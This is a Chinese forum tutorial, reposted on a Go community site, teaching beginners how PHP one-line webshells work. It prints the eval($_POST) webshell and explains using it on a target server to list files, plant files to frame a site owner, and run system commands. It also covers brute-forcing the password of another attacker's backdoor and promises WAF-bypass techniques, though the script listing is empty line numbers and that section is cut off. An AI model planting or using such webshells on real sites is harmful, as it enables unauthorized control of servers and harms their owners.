深入浅出玩转php一句话(含过waf新姿势) - Go语言中文社区

深入浅出玩转php一句话(含过waf新姿势)


本帖最后由 sucppVK 于 2017-1-9 14:39 编辑

一、前言
本文原创作者:XXX,本文属i春秋原创奖励计划,未经许可禁止转载!
各个论坛出了不少过waf的一句话
可笔者见还是有不少小白没有理解一句话(只知道是拿来链接菜刀)
今天打算做一篇面向初学者的教程,总结知识点,抛砖引玉。
让小白从彻底理解马的含义,到打造属于自己过waf的马。
--------------目录------------------------------------------------------------------
  • php一句话含义
  • 用js+php打造高效率一句话爆破脚本(知识扩充:CORS与AJAX)
  • 简单介绍一句话上传攻防
  • 一句话过waf思路
----------------------------------------------------------------------------------------------

二、正文
-----------0x01.php一句话含义---------------------------------------------------
一句话木马:
一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。
先来瞅瞅最原始的一句话是啥样子:
[PHP] 纯文本查看 复制代码
?
1
<?php @eval($_POST['pw']); ?>

看到只能赞叹前辈的智慧,我们这一代始终是站在巨人的肩膀上。
而小白看到这个会想到什么呢?
哦,密码是pw

这句话什么意思呢?
php的代码要写在<?php ?>里面,服务器才能认出来这是php代码,然后才去解析。
@符号的意思是不报错。
例如:
如果没有@,如下图,就会报错

 

为什么呢?
因为一个变量没有定义,就被拿去使用了,
服务器就善意的提醒:Notice,你的xxx变量没有定义。
这不就暴露了密码吗?
所以加上@
为什么pw是密码呢?

那就要来理解这句话的意思了
php里面几个超全局变量
$_GET、$_POST就是其中之一
$_POST['a'];
意思就是a这个变量,用post的方法接收。
(传输数据的两种方法,get、post,post是在消息体存放数据,get是在消息头的url路径里存放数据(例如xxx.php?a=2))
eval()
把字符串作为PHP代码执行
例如:eval("echo 'a'");其实就等于直接 echo 'a';
再来看看<?php eval($_POST['pw']); ?>
首先,用post方式接收变量pw,比如接收到了:pw=echo 'a';
这时代码就变成<?php eval("echo 'a';"); ?>
结果:
 

连起来意思就是:
用post方法接收变量pw,把变量pw里面的字符串当做php代码来执行
所以也就能这么玩:
 
也就是说,你想执行什么代码,就把什么代码放进变量pw里,用post传输给一句话木马
你想查看目标硬盘里有没有小黄片,可以用php函数:opendir()和readdir()等等
想上传点小黄片,诬陷站主,就用php函数:move_uploaded_file,当然相应的html要写好
你想执行cmd命令,则用exec()
当然前提是:
php配置文件php.ini里,关掉安全模式safe_mode = off,
然后在看看 禁用函数列表 disable_functions = proc_open, popen, exec, system, shell_exec ,把exec去掉,确保没有exec。
(有些cms为了方便处理某些功能,会去掉的)
看看效果:
 
现在应该理解,为什么说一句话短小精悍了吧!

--------------------------------------------------------------------------------


-----------0x02.用js+php打造高效率爆破一句话脚本----------------
用来接收的变量可以随便写,
例如<?php @eval($_POST['aadhqdssjdodjsijsdmzodjihdaisjd']); ?>
那么变量就是aadhqdssjdodjsijsdmzodjihdaisjd,也就是所谓的密码
 



那如果,在扫描目录的时候,发现某个可疑目录,
例如:www.dedecms.com/include/taglib/yijuhua.php
扫到了的返回信息是200 ok
但是打开却是空的,我们就有理由相信:这很可能是别人留下的后门(一句话木马)
这时候,咱们就可以尝试爆破这个密码
a=echo 'okok';
没有回显,不对
b=echo 'okok';
没有回显,不对
.
.
.
这样可以吗,可以,但太慢了。
吐司论坛上,接地气表哥就已经给出过思路,用&连接多个变量参数,一次测试多个参数
这样可以让你的爆破效率提高千倍
比如
 

一次放几百个参数,只要里面恰好有那个密码,就会有回显!
tip:阿帕奇最多接收1000参数

咱们i春秋论坛已经有人给出py脚本,这里给出js+php的,大家完善+修改后,就可以放到自己的网站上,丰富网站功能
奸笑一下,为什么说是完善+修改呢?一会再说
[PHP] 纯文本查看 复制代码
?
001
002
003
004
005
006
007
008
009
010
011
012
013
014
015
016
017
018
019
020
021
022
023
024
025
026
027
028
029
030
031
032
033
034
035
036
037
038
039
040
041
042
043
044
045
046
047
048
049
版权声明:本文来源CSDN,感谢博主原创文章,遵循 CC 4.0 by-sa 版权协议,转载请附上原文出处链接和本声明。
原文链接:https://blog.csdn.net/wjy397/article/details/54314998
站方申明:本站部分内容来自社区用户分享,若涉及侵权,请联系站方删除。
  • 发表于 2020-06-28 01:37:18
  • 阅读 ( 2109 )
  • 分类:Go深入理解

0 条评论

请先 登录 后评论

官方社群

GO教程

猜你喜欢